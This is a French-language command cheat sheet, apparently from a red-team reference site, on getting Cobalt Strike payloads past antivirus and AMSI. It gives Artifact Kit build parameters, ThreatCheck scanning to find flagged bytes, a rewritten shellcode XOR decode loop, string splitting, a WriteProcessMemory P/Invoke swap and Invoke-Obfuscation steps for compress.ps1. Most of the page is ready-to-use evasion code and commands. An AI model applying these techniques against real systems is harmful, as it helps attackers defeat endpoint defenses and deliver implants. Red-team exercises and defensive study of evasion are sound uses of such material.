Cobalt Strike

Payload Bypass

Bypasser les détections AV/AMSI sur les payloads compilés et scripts. Cycle : scan → localiser → patcher → rebuild.

Payloads compilés

Copy command
./build.sh

Description: Sans args : affiche les stage sizes minimales pour la version CS actuelle. Vérifier avant chaque build.

Copy command
./build.sh mailslot VirtualAlloc 344564 0 false false none /output/artifacts

Description: Params : technique, allocator (HeapAlloc/VirtualAlloc/MapViewOfFile), stage_size, rdll_size, resource_file, stack_spoof, syscalls (none/embedded/indirect/indirect_randomized), output_dir.

Copy command
ThreatCheck.exe -f artifact64big.exe

Description: Divise le binaire et scanne chaque bloc avec Defender (cloud off). Retourne l'offset du premier bloc détecté. Scanner en local uniquement.

Copy command
Navigation > Go To > file(0x<offset>)

Description: Dans Ghidra : atteindre directement la fonction suspecte via l'offset ThreatCheck. Matcher les bytes de fin pour identifier la ligne source.

Copy command
// patch.c - remplacer la boucle de décodage
// for (int x = 0; x < length; x++) { ... }

int x = length;
while ( x-- ) {
    *((char *)ptr + x) = *((char *)buffer + x) ^ key[x % 8];
}

Description: Réécrire la boucle de décodage en boucle while à rebours : même logique, bytecode différent, signature cassée. Commenter l'original pour permettre un rollback.

Copy command
Cobalt Strike > Script Manager > Load > artifact.cna

Description: Charger l'Aggressor script pour activer les nouveaux templates. Rescanner après chaque rebuild pour confirmer.

Payloads script (AMSI)

Copy command
./build.sh /output/custom-resources

Description: Génère les templates script (template.x64.ps1, compress.ps1...) et resources.cna.

Copy command
ThreatCheck.exe -f template.x64.ps1 -e AMSI -t Script

Description: Scanner avec le moteur AMSI. Rescanner après chaque correction car plusieurs signatures peuvent coexister.

Copy command
('System.dll')  →  ('Syst'+'em.dll')

Description: La concaténation casse les signatures sur les chaînes littérales sans changer la fonctionnalité.

Copy command
$var_wpm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (func_get_proc_address kernel32.dll WriteProcessMemory),
    (func_get_delegate_type @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr]) ([Bool]))
)
$ok = $var_wpm.Invoke([IntPtr]::New(-1), $var_buffer, $v_code, $v_code.Count, [IntPtr]::Zero)

Description: Remplacer Marshal::Copy par WriteProcessMemory natif via P/Invoke pour bypasser les signatures sur les appels Marshal.

Copy command
ipmo Invoke-Obfuscation.psd1 && Invoke-Obfuscation
SET SCRIPTBLOCK '<contenu compress.ps1>'
TOKEN\ALL\1

Description: PowerShell soumet les couches d'évaluation séquentiellement à AMSI - ThreatCheck ne réplique pas ça. Obfusquer compress.ps1 avec Invoke-Obfuscation. Ne pas modifier %%DATA%%.

Copy command
Cobalt Strike > Script Manager > Load > resources.cna

Description: Requis pour que CS utilise les templates script personnalisés.